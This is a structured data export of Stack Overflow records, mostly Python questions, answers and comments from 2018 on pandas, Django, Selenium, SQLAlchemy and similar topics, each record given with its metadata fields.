tags question: http://stackoverflow.com/q/48732475
tags question: http://stackoverflow.com/q/48735407
tags question: http://stackoverflow.com/q/48655411
tags question: http://stackoverflow.com/q/48728640
tags question: http://stackoverflow.com/q/48712495
tags question: http://stackoverflow.com/q/48655781
tags question: http://stackoverflow.com/q/48734820
tags question: http://stackoverflow.com/q/48769638
tags question: http://stackoverflow.com/q/48653945
tags question: http://stackoverflow.com/q/48757117
tags question: http://stackoverflow.com/q/48664034
tags question: http://stackoverflow.com/q/48669047
tags question: http://stackoverflow.com/q/48703734
tags question: http://stackoverflow.com/q/48736767
tags question: http://stackoverflow.com/q/48800081
tags question: http://stackoverflow.com/q/48748809
tags question: http://stackoverflow.com/q/48794637
tags question: http://stackoverflow.com/q/48756902
tags question: http://stackoverflow.com/q/48665001
tags question: http://stackoverflow.com/q/48749757
tags question: http://stackoverflow.com/q/48729264
tags question: http://stackoverflow.com/q/48771554
tags question: http://stackoverflow.com/q/48653978
tags question: http://stackoverflow.com/q/48758591
tags question: http://stackoverflow.com/q/48676588
tags question: http://stackoverflow.com/q/48766362
tags question: http://stackoverflow.com/q/48703600
tags question: http://stackoverflow.com/q/48710772
tags question: http://stackoverflow.com/q/48774422
tags question: http://stackoverflow.com/q/48761464
tags question: http://stackoverflow.com/q/48669218
tags question: http://stackoverflow.com/q/48741032
tags question: http://stackoverflow.com/q/48742235
tags question: http://stackoverflow.com/q/48726445
tag name: selenium
tags question: http://stackoverflow.com/q/48744648
tags question: http://stackoverflow.com/q/48668974
tags question: http://stackoverflow.com/q/48747864
tags question: http://stackoverflow.com/q/48695217
tags question: http://stackoverflow.com/q/48723087
tags question: http://stackoverflow.com/q/48794472
tags question: http://stackoverflow.com/q/48645973
tags question: http://stackoverflow.com/q/48796131
tags question: http://stackoverflow.com/q/48798020
tags question: http://stackoverflow.com/q/48728816
tags question: http://stackoverflow.com/q/48662469
tags question: http://stackoverflow.com/q/48778961
tags question: http://stackoverflow.com/q/48704019
tags question: http://stackoverflow.com/q/48689586
tags question: http://stackoverflow.com/q/48687883
tags question: http://stackoverflow.com/q/48771739
tags question: http://stackoverflow.com/q/48782458
tags question: http://stackoverflow.com/q/48751031
tags question: http://stackoverflow.com/q/48798903
tags question: http://stackoverflow.com/q/48763272
tags question: http://stackoverflow.com/q/48656659
tags question: http://stackoverflow.com/q/48688453
tags question: http://stackoverflow.com/q/48765488
tags question: http://stackoverflow.com/q/48646913
tags question: http://stackoverflow.com/q/48786064
tags question: http://stackoverflow.com/q/48661203
tags question: http://stackoverflow.com/q/48749803
tags question: http://stackoverflow.com/q/48646912
tags question: http://stackoverflow.com/q/48739553
tags question: http://stackoverflow.com/q/48698633
tags question: http://stackoverflow.com/q/48800058
tags question: http://stackoverflow.com/q/48752319
tags question: http://stackoverflow.com/q/48714422
tags question: http://stackoverflow.com/q/48788782
tags question: http://stackoverflow.com/q/48715732
tags question: http://stackoverflow.com/q/48772798
tags question: http://stackoverflow.com/q/48657460
tags question: http://stackoverflow.com/q/48773942
tags question: http://stackoverflow.com/q/48732196
tags question: http://stackoverflow.com/q/48736196

http://stackoverflow.com/comment/84291324
has text: ähm?! a vector of length 1 in x and length 1 in y direction is sqrt(2) long. So why should it be 1 unit long?
comment on: http://stackoverflow.com/a/48646659
type: AnswerComment
score: 0
type: Comment

serverless-framework
tag name: serverless-framework
tags question: http://stackoverflow.com/q/48646923
type: Tag

http://stackoverflow.com/q/48748305
score: 0
tagged with: matplotlib
has title: Embedding matplotlib moving chart in django template
downvote count: 1
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/48805375
has body: I am new to python Django framework. I have matplotlib moving or live chart, It should be embedded in django template. I checked many question relevant to this here but none of them is worked for me. Most of us suggested here is displaying as image, but problem is moving chart with default interface like zoom, drag everything to be integrated. i am struggling to solve . I used this code and got to know it will be displaying as image. def simple(request): import random import django import datetime from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas from matplotlib.figure import Figure from matplotlib.dates import DateFormatter fig = Figure() ax = fig.add_subplot(111) x = [] y = [] now = datetime.datetime.now() delta = datetime.timedelta(days=1) for i in range(10): x.append(now) now += delta y.append(random.randint(0, 1000)) ax.plot_date(x, y, '-') ax.xaxis.set_major_formatter(DateFormatter('%Y-%m-%d')) fig.autofmt_xdate() canvas = FigureCanvas(fig) response = django.http.HttpResponse(content_type='image/png') canvas.print_png(response) return response I used this code for reference. if this is not understandable please comment below, ill try to convey you clearly can any one help me to get fixed this. Thanks in advance.
favorite count: 0
possible better answer: http://stackoverflow.com/a/48748934
has answer: http://stackoverflow.com/a/48748934
accepted answer: http://stackoverflow.com/a/48805375
tagged with: django
upvote count: 1
tagged with: python
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84506138

http://stackoverflow.com/a/48779059
has comment: http://stackoverflow.com/comment/84651875
type: Answer
has comment: http://stackoverflow.com/comment/84571207
has body: The failing code has '{}{}:{}@{}/{}' but the working code has '{}/{}@{}/{}' The former is missing a slash between the username and password, and it's not clear where the port number (after the colon) is set.
has comment: http://stackoverflow.com/comment/84652665
answers question: http://stackoverflow.com/q/48763234
has comment: http://stackoverflow.com/comment/84641439
has comment: http://stackoverflow.com/comment/84614308
has comment: http://stackoverflow.com/comment/84599631
score: 0

http://stackoverflow.com/a/48705059
downvote count: 0
has body: I've simplified your code a little. It's still not vectorised, but if performance is not an issue it should be easier to maintain: def one_day(row): yday_perf = df.loc[(df['product'] == row['product']) &amp; (df['dates'] == (row['dates'] + pd.Timedelta(days=-1))), 'sales'] return yday_perf.values[0] if not yday_perf.empty else -1 def two_day(row): twoday_perf = df.loc[(df['product'] == row['product']) &amp; (df['dates'] &gt;= (row['dates'] + pd.Timedelta(days=-2))) &amp; (df['dates'] &lt; row['dates']), 'sales'] return twoday_perf.sum() if len(twoday_perf) &gt;=1 else -1 df['yesterday_sales'] = df.apply(one_day, axis=1) df['last_two_days_sales'] = df.apply(two_day, axis=1) # dates product sales yesterday_sales last_two_days_sales # 0 2017-11-20 A 1 -1 -1 # 1 2017-11-20 B 2 -1 -1 # 2 2017-11-20 C 3 -1 -1 # 3 2017-11-21 A 4 1 1 # 4 2017-11-21 B 5 2 2 # 5 2017-11-21 C 6 3 3 # 6 2017-11-22 A 7 4 5 # 7 2017-11-22 B 8 5 7 # 8 2017-11-22 C 9 6 9
type: Answer
accepted answer of: http://stackoverflow.com/q/48703953
score: 1
has comment: http://stackoverflow.com/comment/84412091
has comment: http://stackoverflow.com/comment/84412124
upvote count: 1
answers question: http://stackoverflow.com/q/48703953
type: AcceptedAnswer

http://stackoverflow.com/comment/84370953
type: AnswerComment
has text: Worked like a charm. I didn't knew that it can be done like that. Thanks a lot ! Cheers :)
type: Comment
score: 0
comment on: http://stackoverflow.com/a/48686379

http://stackoverflow.com/q/48743444
type: UnansweredQuestion
tagged with: python
tagged with: gensim
tagged with: nlp
type: Question
has body: Does gensim.model.TfidfModel have the term frequency saved? From the docs, they use the formula: weights_i_j = frequency_i_j * log_2(D / doc_freq_i) And when I prob the attributes of the dir(model) (TfidfModel object) with the following code: &gt;&gt;&gt; import gensim.downloader as api &gt;&gt;&gt; from gensim.models import TfidfModel &gt;&gt;&gt; from gensim.corpora import Dictionary &gt;&gt;&gt; &gt;&gt;&gt; dataset = api.load("text8") &gt;&gt;&gt; dct = Dictionary(dataset) # fit dictionary &gt;&gt;&gt; corpus = [dct.doc2bow(line) for line in dataset] # convert dataset to BoW format &gt;&gt;&gt; &gt;&gt;&gt; model = TfidfModel(corpus) # fit model &gt;&gt;&gt; dir(model) I'm getting: ['__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__weakref__', '_adapt_by_suffix', '_apply', '_load_specials', '_save_specials', '_smart_save', 'dfs', 'id2word', 'idfs', 'initialize', 'load', 'normalize', 'num_docs', 'num_nnz', 'save', 'wglobal', 'wlocal'] But I can't seem to find where are the term frequencies stored. If the term frequencies are not saved, is there a reason why? Since it's already stored to compute the weights anyways. Is there a way to retrieve the term frequencies somehow during the fitting process?
tagged with: counter
has title: Does gensim.model.TfidfModel have the term frequency saved?
has answer: http://stackoverflow.com/a/50946131
score: 0
answer count: 1
tagged with: tf-idf

http://stackoverflow.com/comment/84475812
score: 0
type: AnswerComment
has text: If you put a `break` where the `print()` call is you will get a syntax error. You can only use `break` inside a loop. It is already outside the loop. I put the `print()` call there only to verify program operation. Without it you can't see if the program ended because of the `break` or because of `sys.exit()`.
comment on: http://stackoverflow.com/a/48737689
type: Comment

http://stackoverflow.com/comment/84473196
type: QuestionComment
comment on: http://stackoverflow.com/q/48736258
has text: Sorry about that, I can't seem to post the whole thing. Give me a second.
score: 0
type: Comment

http://stackoverflow.com/comment/131190845
type: Comment
has text: I could not find the min() macro in _portaudiomodule.c ? Could you give some more details here?
comment on: http://stackoverflow.com/a/66379791
score: 0
type: AnswerComment

http://stackoverflow.com/a/48974039
accepted answer of: http://stackoverflow.com/q/48711385
has comment: http://stackoverflow.com/comment/112127486
answers question: http://stackoverflow.com/q/48711385
type: Answer
score: 5
upvote count: 5
has body: Problem is that you're trying to import 6 million rows as one chunk. And it is taking time. With your current config, pool_recycle is set to 1 second, meaning connection will close after 1 second, and that for sure is not enough time to insert 6 mill rows. My suggestion is next: database_connection = sqlalchemy.create_engine( 'mysql+mysqlconnector://{0}:{1}@{2}/{3}'.format( database_username, database_password, database_ip, database_name ), pool_recycle=3600, pool_size=5).connect() df.to_sql( con=database_connection, name='sample', if_exists='replace', chunksize=1000 ) This will set pool of 5 connections with recycle time of 1 hour. And second line will insert 1000 at a time (instead of all the rows at once). You can experiment with values to achieve best performance.
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/84295675
type: QuestionComment
type: Comment
has text: I'm having trouble understanding what you're trying to do. You are trying to pass in variables to your function, right? But you don't want to bundle them in the `self.args` object? The use of argsparse implies you are getting these arguments from the command line, right? So why not call `inital_foo` via `inital_foo('hii', 'bye', 'yolo')`?
comment on: http://stackoverflow.com/q/48648988
score: 0

http://stackoverflow.com/q/48788534
tagged with: python
has answer: http://stackoverflow.com/a/48791594
type: AnsweredQuestion
has body: I have a dataframe and i would like to find the percentage difference of values in a column within a group. An example of a group is df.groupby(['race', 'tyre', 'stint']).get_group(("Australian Grand Prix", "Super soft", 1)) I would like to find out what is the percentage distribution of "time diff" values for each row of the group. Her is the dataframe in dictionary format.There will be many other groups, but below df only shows the first group. {'driverRef': {0: 'vettel', 1: 'raikkonen', 2: 'rosberg', 4: 'hamilton', 6: 'ricciardo', 7: 'alonso', 14: 'haryanto'}, 'race': {0: 'Australian Grand Prix', 1: 'Australian Grand Prix', 2: 'Australian Grand Prix', 4: 'Australian Grand Prix', 6: 'Australian Grand Prix', 7: 'Australian Grand Prix', 14: 'Australian Grand Prix'}, 'stint': {0: 1.0, 1: 1.0, 2: 1.0, 4: 1.0, 6: 1.0, 7: 1.0, 14: 1.0}, 'total diff': {0: 125147.50728499777, 1: 281292.0366694695, 2: 166278.41312954266, 4: 64044.234019635056, 6: 648383.28046950256, 7: 400675.77449897071, 14: 2846411.2560531585}, 'tyre': {0: u'Super soft', 1: u'Super soft', 2: u'Super soft', 4: u'Super soft', 6: u'Super soft', 7: u'Super soft', 14: u'Super soft'}}
type: Question
linked to: http://stackoverflow.com/q/23377108
accepted answer: http://stackoverflow.com/a/48791594
tagged with: python-2.7
score: 0
has comment: http://stackoverflow.com/comment/84578768
answer count: 1
has comment: http://stackoverflow.com/comment/84578937
has title: Python 2.7: DataFrame groupby and find find the percentage distribution of values within group

http://stackoverflow.com/q/48724838
has comment: http://stackoverflow.com/comment/84451432
type: Question
has title: on_ready not called when running Discord Bot (Python)
tagged with: discord.py
has body: I've been writing my first Discord bot in Python, and it's been working just fine. I decided to refactor my code into two modules instead of just one. It looks like this: Proj - src -- __init_.py -- eve.py -- event.py My eve.py looks like this: import discord from discord.ext import commands from discord.ext.commands import Bot import asyncio from src.event import eventCall bot = commands.Bot(command_prefix="!") @bot.event async def on_ready(): print ("Booting up your system") print ("I am running on " + bot.user.name) print ("With the ID: " + bot.user.id) @bot.command(pass_context=True) async def event(ctx): await eventCall(ctx) bot.run(&lt;client ID&gt;) And my event.py looks has this tag within it: async def eventCall(ctx): member = ctx.message.author message = await bot.send_message(member, "Hi " + member.display_name + "!") channel = message.channel (continues) I was struggling to get eve.py to import event.py, so I moved everything up to the src folder and then I no longer go compiler errors. But now when I run eve.py, on_ready no longer triggers (I don't see any text in my console), and the !event command doesn't work within Discord. I think both my folder structure and my syntax for using import could be wrong, but I'm unsure how best to straighten this out.
has comment: http://stackoverflow.com/comment/133288818
score: 6
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/134988630
has comment: http://stackoverflow.com/comment/84451275
favorite count: 0
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/64628359
upvote count: 6
has comment: http://stackoverflow.com/comment/84451376
has answer: http://stackoverflow.com/a/63521852
has comment: http://stackoverflow.com/comment/84448972

http://stackoverflow.com/comment/84289848
has text: You should post the data frames along with an example of the desired output. (You will have to do it manually)
comment on: http://stackoverflow.com/q/48646281
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/48684909
upvote count: 29
answers question: http://stackoverflow.com/q/48684866
type: Answer
score: 29
has body: As per the docs (https://docs.python.org/3/library/datetime.html), a timedelta counts days, not years. So try something like (d1 - d2).days / 365.25.
downvote count: 0
has comment: http://stackoverflow.com/comment/84367256

http://stackoverflow.com/q/48736281
has body: I have a Python script that logs data from several sensors. The datarate for each sensor is 10Hz. I want to plot or analyze this data in approximately realtime with other programs. The brute-force way (foregoing more elegant solutions that use databases, sockets, or other fancy constructs) would be to simply flush the output file every 100ms. I have a feeling this is considered a bad idea. But why, specifically? Will my hard-drive (spinning rust) die an early death? What if I use an SSD? Do OS-level buffers (Windows) save my hardware?
has comment: http://stackoverflow.com/comment/84483499
favorite count: 0
tagged with: flush
has comment: http://stackoverflow.com/comment/84473569
upvote count: 2
type: UnansweredQuestion
tagged with: python
downvote count: 1
has comment: http://stackoverflow.com/comment/84473606
answer count: 0
score: 1
has title: Theory: Is flushing a file ten times per second a bad idea?
tagged with: file
has comment: http://stackoverflow.com/comment/84483661
type: Question

http://stackoverflow.com/q/48712495
accepted answer: http://stackoverflow.com/a/48712659
score: 0
linked to: http://stackoverflow.com/q/11223011
tagged with: selenium
tagged with: loops
type: Question
duplicate of: http://stackoverflow.com/q/11223011
answer count: 1
tagged with: model
has body: I want to loop through a list of span elements and make Selenium click all span elements available. Currently I'm getting an AttributeError: 'list' object has no attribute 'click'. See code snippets below for more details. I made have a BasePage as super class where I define most of my selenium methods: from selenium.common.exceptions import NoSuchElementException, TimeoutException from selenium.webdriver.support import expected_conditions from selenium.webdriver.support.wait import WebDriverWait class BasePage(object): def __init__(self, driver): self.driver = driver def _visit(self, url): self.driver.get(url) def _find(self, locator): return self.driver.find_element(locator["by"], locator["value"]) def _find_all(self, locator): return self.driver.find_elements(locator["by"], locator["value"]) def _click(self, locator): self._find(locator).click() def _click_all(self, locator): self._find_all(locator).click() def _type(self, locator, input_text): self._find(locator).send_keys(input_text) def _clear(self, locator): self._find(locator).clear() I have also made a page object where I define all the locators and actions of a page. from selenium.webdriver.common.by import By from .base_page import BasePage class RelatiePage(BasePage): _open_actieve_polis = {"by": By.CSS_SELECTOR, "value": "td:nth- child(2)"} def __init__(self, driver): super(BasePage, self).__init__() self.driver = driver def relatie_tabs_(self): self._click(self._open_actieve_polissen_tab) self._click_all(self._open_actieve_polis) self.driver.back() these are the html selectors i want to loop through: tbody &gt; tr:nth-child(2) &gt; td:nth-child(2) &gt; span &gt; a tbody &gt; tr:nth-child(3) &gt; td:nth-child(2) &gt; span &gt; a tbody &gt; tr:nth-child(4) &gt; td:nth-child(2) &gt; span &gt; a tbody &gt; tr:nth-child(5) &gt; td:nth-child(2) &gt; span &gt; a tbody &gt; tr:nth-child(6) &gt; td:nth-child(2) &gt; span &gt; a the error i'm currently receiving: line 46, in relatie_tabs_ self._click_all(self._o…
has answer: http://stackoverflow.com/a/48712659
tagged with: python
type: AnsweredQuestion
tagged with: object
has title: Loop through span elements in selenium python, AttributeError: 'list' object has no attribute 'click'

http://stackoverflow.com/comment/84495896
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/48747494
has text: Thanks bro I should have test it in `django shell`.

http://stackoverflow.com/q/48732666
upvote count: 5
accepted answer: http://stackoverflow.com/a/48732783
type: AnsweredQuestion
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/48732783
has body: How do one get a SQL-style grouped output when grouping following data: item frequency A 5 A 9 B 2 B 4 C 6 df.groupby(by = ["item"]).sum() results in this: item frequency A 14 B 6 C 6 In pandas it is achieved by setting as_index=False. But dask doesn't support this argument in groupby. It currently omits item column and returns the series with frequency column.
tagged with: dask
type: Question
score: 5
tagged with: python
has title: dask: how to groupby, aggregate without losing column used for groupby
answer count: 1
tagged with: group-by

http://stackoverflow.com/q/48654738
has comment: http://stackoverflow.com/comment/84309032
downvote count: 0
has comment: http://stackoverflow.com/comment/84308887
favorite count: 0
has comment: http://stackoverflow.com/comment/84307805
has comment: http://stackoverflow.com/comment/84315340
type: UnansweredQuestion
tagged with: python
tagged with: kivy
tagged with: pycharm
answer count: 0
score: 1
has title: python 3.6.3 kivy error when runing the code
upvote count: 1
has comment: http://stackoverflow.com/comment/84307798
type: Question
tagged with: visual-studio-code
has comment: http://stackoverflow.com/comment/84310381
has body: I just installed Kivy on ubuntu 17.10 with python3 version 3.6.3, when I tried to check if kivy works fine by running this code: import kivy from kivy.app import App from kivy.uix.button import Button class TestApp(App): def build(self): # return a Button() as a root widget return Button(text='hello world') if __name__ == '__main__': TestApp().run() I've got this error (through vscode terminal): Traceback (most recent call last): File "/home/pc/kivy.py", line 1, in &lt;module&gt; import kivy File "/home/pc/kivy.py", line 3, in &lt;module&gt; from kivy.app import App ImportError: No module named app and this error (through pycharm): Traceback (most recent call last): File "/home/pc/PycharmProjects/untitled/Kivy.py", line 1, in &lt;module&gt; import kivy ModuleNotFoundError: No module named 'kivy' Process finished with exit code 1
has comment: http://stackoverflow.com/comment/84308794
has comment: http://stackoverflow.com/comment/84309950
has comment: http://stackoverflow.com/comment/84309337
has comment: http://stackoverflow.com/comment/84309035
has comment: http://stackoverflow.com/comment/84308997

http://stackoverflow.com/comment/84459942
comment on: http://stackoverflow.com/q/48728563
score: 0
type: Comment
type: QuestionComment
has text: Please read [Under what circumstances may I add “urgent” or other similar phrases to my question, in order to obtain faster answers?](//meta.stackoverflow.com/q/326569) - the summary is that this is not an ideal way to address volunteers, and is probably counterproductive to obtaining answers. Please refrain from adding this to your questions.

http://stackoverflow.com/comment/84584795
comment on: http://stackoverflow.com/q/48791188
has text: It gives you a list with the keys, like you wanted in your question
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/48734466
favorite count: 0
has answer: http://stackoverflow.com/a/48734634
has body: I have a list that contains counts for different items as strings. Sometimes a restock is given in brackets. The list looks like this: 23 21 (+3) 32 (+14) So there is always a space between the number and the brackets. To start of I've wrote a function that I apply over the Series. I've used the split-method two times to return only the first number: splitted = item.split(" ") splitted2 = splitted[0].split("+") return int(splitted2[0]) This solution is kind of hacky already and on top of that, I am missing the restocks in brackets. Now I want to know, how I would possibly add both of the numbers together. I would therefore split the list one time so that I get this as a result: ['23'] ['21', '(+3)'] Then I want to select only the list items, that have to values, get rid of the + and () and add the first and the second value together. How would I do that?
tagged with: pandas
tagged with: python
has answer: http://stackoverflow.com/a/48734535
accepted answer: http://stackoverflow.com/a/48734535
has comment: http://stackoverflow.com/comment/84662308
has comment: http://stackoverflow.com/comment/84468148
has comment: http://stackoverflow.com/comment/84468142
has comment: http://stackoverflow.com/comment/84470521
type: Question
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/48734634
has title: Best way to add two numbers within a column that are seperated by brackets
has answer: http://stackoverflow.com/a/48734573
has comment: http://stackoverflow.com/comment/84578162
linked to: http://stackoverflow.com/q/4289331
score: 0
answer count: 3
upvote count: 1
downvote count: 1

http://stackoverflow.com/a/48686479
has body: This sounds like a sparse matrix problem for which scipy provides a package. These are matrices with many 0 elements (like in your example). Operations will take the sparseness into account and the matrix will take up less space in memory. Remember to do matrix operations like FW.dot(WF) (use this rather than np.dot).
has comment: http://stackoverflow.com/comment/84381223
has comment: http://stackoverflow.com/comment/84381792
has comment: http://stackoverflow.com/comment/84381718
score: 0
has comment: http://stackoverflow.com/comment/84381649
type: Answer
has comment: http://stackoverflow.com/comment/84382401
answers question: http://stackoverflow.com/q/48686428

http://stackoverflow.com/a/48716378
score: 1
answers question: http://stackoverflow.com/q/48716360
upvote count: 1
has body: Replace: print(spam.get()) with: checkbutton['command'] = lambda arg=spam: print(arg.get()) In order to see that the variable indeed does store the values. The problem is when your print is called spam.get() equals "" as: spam = StringVar() is identical to: spam = StringVar(value="") The checkbutton is initially on a default neither-on, nor-off state(as spam is neither the off nor the on value), but it's hard to notice for the ttk version(if at all), replace: checkbutton = ttk.Checkbutton(... with: checkbutton = Checkbutton(... to use the default Checkbutton from tkinter, it is much more distinctively displayed. Also further note that the Checkbutton requires being used in order to call spam.set(checkbutton['onvalue']) or spam.set(checkbutton['offvalue']).
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84432241
accepted answer of: http://stackoverflow.com/q/48716360
type: Answer

http://stackoverflow.com/q/48751140
has answer: http://stackoverflow.com/a/48751203
accepted answer: http://stackoverflow.com/a/48751254
type: Question
has title: Pandas: select rows where two columns are different
has body: Suppose I have a dataframe as below a b c 1 1 45 0 2 74 2 2 54 1 4 44 Now I want the rows where column a and b are not same. So the expected outpu is a b c 0 2 74 1 4 44 How can I do this?
tagged with: pandas
downvote count: 0
favorite count: 0
possible better answer: http://stackoverflow.com/a/48751184
has answer: http://stackoverflow.com/a/48751184
tagged with: python
has comment: http://stackoverflow.com/comment/84502739
answer count: 4
has answer: http://stackoverflow.com/a/48751254
upvote count: 11
has answer: http://stackoverflow.com/a/48751174
has comment: http://stackoverflow.com/comment/84502883
score: 11
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/17071871

http://stackoverflow.com/q/48759933
type: Question
has body: I'm trying to extract the edge of a drop from the following image which I've first applied cv2.Canny() onto: I tried using cv2.findContours() (and taking the longest contour found) but this ends up being a closed loop around the drop's 1 pixel edge (shown exaggerated in blue). Is there a way to extract just a single open edge (as a list of (x, y) points, similar to the structure of a contour returned by findContours()) that goes around the profile of the drop? Images: Original Image After applying Canny
score: 2
downvote count: 0
favorite count: 0
tagged with: python-3.x
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84520604
tagged with: python
has comment: http://stackoverflow.com/comment/84520664
has title: OpenCV Extract open edges from image after using Canny algorithm
tagged with: opencv
answer count: 0

http://stackoverflow.com/q/48705321
tagged with: python
score: 0
type: Question
has title: Getting TypeError: expected a character buffer object for a pandas.dataframe.replace call?
has body: I'm building an interface between python and Google sheets using python2.7 &amp; pygsheets: Error: Traceback (most recent call last): File "Tracker.py", line 108, in &lt;module&gt; test.track() File "Tracker.py", line 99, in track self.sheet.set_dataframe(json.dumps(pd.DataFrame(list(cursor.fetchall())),default=iterencode),self.anchor,copy_index=False, copy_head=True, fit=False, escape_formulae=False,nan=str('\n')) File "/usr/local/lib/python2.7/dist-packages/pygsheets/worksheet.py", line 742, in set_dataframe df = df.replace(pd.np.nan, nan) TypeError: expected a character buffer object I've tried nan='NaN', '\n' as well as 0- however everything comes back with the same error. The error is entirely within this line: self.sheet.set_dataframe(json.dumps(pd.DataFrame(list(cursor.fetchall())),default=iterencode),self.anchor,copy_index=False, copy_head=True, fit=False, escape_formulae=False,nan=str('NanN')) and actually is in the last arg: nan=str('NaN') I've checked pandas documentation for replace: value : scalar, dict, list, str, regex, default None Value to use to fill holes (e.g. 0), alternately a dict of values specifying which value to use for each column (columns not in the dict will not be filled). Regular expressions, strings and lists or dicts of such objects are also allowed. which also seems more or less in line. pygsheets/worksheet.py also doesn't have anything else apart from that one line: df = df.replace(pd.np.nan, nan) &amp; nan being the unaltered input that I send i.e., str('NaN'). I'm wondering what this means- is this a versioning issue with some python or library version not matching ? or something else? I hacked my way through this by printing to a csv file and then reading that as a dataframe and passing that into the function because I didn't find a solution in time. However I'd still like to understand how and why and where does this problem arise ? Thanks
tagged with: character-encoding
tagged with: pandas
answer count: 1
has answer: http://stackoverflow.com/a/48706727
type: UnansweredQuestion
tagged with: pygsheets

http://stackoverflow.com/comment/84447246
type: Comment
comment on: http://stackoverflow.com/q/48724187
score: 0
type: QuestionComment
has text: Split the problem up: 1. read files in memory. 2. apply rules. 3. if there exist changes then overwrite original file.

http://stackoverflow.com/q/48728737
has comment: http://stackoverflow.com/comment/84457521
has comment: http://stackoverflow.com/comment/84457260
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/84456731
has comment: http://stackoverflow.com/comment/84456773
upvote count: 1
has comment: http://stackoverflow.com/comment/84456384
tagged with: integer-partition
has answer: http://stackoverflow.com/a/48729111
downvote count: 1
tagged with: combinations
has answer: http://stackoverflow.com/a/48728864
tagged with: loops
has comment: http://stackoverflow.com/comment/84457045
has comment: http://stackoverflow.com/comment/84456456
has comment: http://stackoverflow.com/comment/84456428
type: Question
has comment: http://stackoverflow.com/comment/84456591
has comment: http://stackoverflow.com/comment/84457573
answer count: 2
has comment: http://stackoverflow.com/comment/84456870
has comment: http://stackoverflow.com/comment/84458202
has comment: http://stackoverflow.com/comment/84456821
has comment: http://stackoverflow.com/comment/84456519
has comment: http://stackoverflow.com/comment/84456717
tagged with: optimization
has body: I want to find an efficient way for computer to handle LARGE NUMBER OF VARIABLES (say 50: x1, ... , x50) that do something like this: find ALL combinations [x1,x2,x3] satisfying: 0 &lt;= x1 &lt;= x2 &lt;= x3 x1 + x2 + x3 = 100 Here is an example of finding all combinations with sum = 100 but [1,99] and [99,1] are considered to be different here: x=[] for i, j in itertools.product(range(0,101), range(0,101)): if i+j==100: x.append([i,j]) I want to find a way to reduce the number of loops and give only things like: [0,100], [1,99], [2,98], .........., [50,50] And nothing from [51,49]. The main goal is doing this with 50 variables (x_1,...x_50) which sums up to 100. It is not likely to do it with normal loop
has title: Fastest way for the computer to find combinations of non-negative integers x_1<=x_2<=...<= x_n and sum to 100
score: 0
has comment: http://stackoverflow.com/comment/84458198
has comment: http://stackoverflow.com/comment/84456763
has comment: http://stackoverflow.com/comment/84457499
linked to: http://stackoverflow.com/q/4632322
tagged with: python
favorite count: 0

http://stackoverflow.com/comment/84295413
comment on: http://stackoverflow.com/q/48648818
score: 0
type: Comment
type: QuestionComment
has text: Did you include `{% load wagtailcore_tags wagtailimages_tags %}` (I should have said that first time)?

http://stackoverflow.com/comment/84454239
score: 0
type: Comment
has text: Why did this get downvoted?
comment on: http://stackoverflow.com/q/48727604
type: QuestionComment

http://stackoverflow.com/comment/84410614
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48704878
has text: Thanks! Everything is not clear to me so I have questions: 1. you wrote: indata =[my_config.chosenTestHolder[my_config.counter] , self.myText] self.myButton.bind('',lambda event, arg=indata : self.TagConfigure(event, arg)) The only difference I see is '<ButtonRelease-1>' replaced by ''. What does this imply? 2. I have 'reduced' my original code. lambda was used (in the orignal code) since I needed to provide several inparameters . Is there a 'lambda'-solution? 3. I am new to Python so how to call your Test_widget class given the input argument tk.Frame? Thanks again!

http://stackoverflow.com/q/48780482
has body: I have a text file, which I'm reading line by line. In each line, if there are special characters, then I'm removing the special characters, for this, I'm using the help of regular expressions. fh = open(r"abc.txt","r+") data = fh.read() #print re.sub(r'\W+', '', data) new_str = re.sub('[^a-zA-Z0-9\n\.;,?!$]', ' ', data) So, here in my data, I'm keeping only the alphanumeric words along with few special symbols which are [.;,?!$], but along with it I also want Euro symbol(€), pound (£), Japanese yen(¥) and Rupee symbol(₹). But these are not present in ASCII characters, so when I include them in my regular expression like - re.sub('[^a-zA-Z0-9\n.;,?!$€₹¥]', ' ', data) it gives an error message. SyntaxError: Non-ASCII character '\xe2' in file preprocess.py on line 23, but no encoding declared
score: 3
has comment: http://stackoverflow.com/comment/84562576
tagged with: ascii
has comment: http://stackoverflow.com/comment/84562553
answer count: 2
has comment: http://stackoverflow.com/comment/84562495
linked to: http://stackoverflow.com/q/3835917
downvote count: 0
linked to: http://stackoverflow.com/q/3170211
has answer: http://stackoverflow.com/a/48780612
has comment: http://stackoverflow.com/comment/84562483
has comment: http://stackoverflow.com/comment/84562707
favorite count: 0
type: UnansweredQuestion
has title: How to include Non-ascii characters in regular expression in Python
tagged with: python
tagged with: regex
has comment: http://stackoverflow.com/comment/84562541
linked to: http://stackoverflow.com/q/393843
upvote count: 3
has answer: http://stackoverflow.com/a/48780553
has comment: http://stackoverflow.com/comment/84562500
tagged with: non-ascii-characters
has comment: http://stackoverflow.com/comment/84562513
type: Question

http://stackoverflow.com/comment/84309769
comment on: http://stackoverflow.com/q/48655887
type: Comment
score: 0
type: QuestionComment
has text: What's wrong with accessing `self.name` directly?

http://stackoverflow.com/a/48754847
downvote count: 0
has comment: http://stackoverflow.com/comment/84510612
accepted answer of: http://stackoverflow.com/q/48754747
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84511100
upvote count: 3
type: Answer
answers question: http://stackoverflow.com/q/48754747
score: 3
has comment: http://stackoverflow.com/comment/84510584
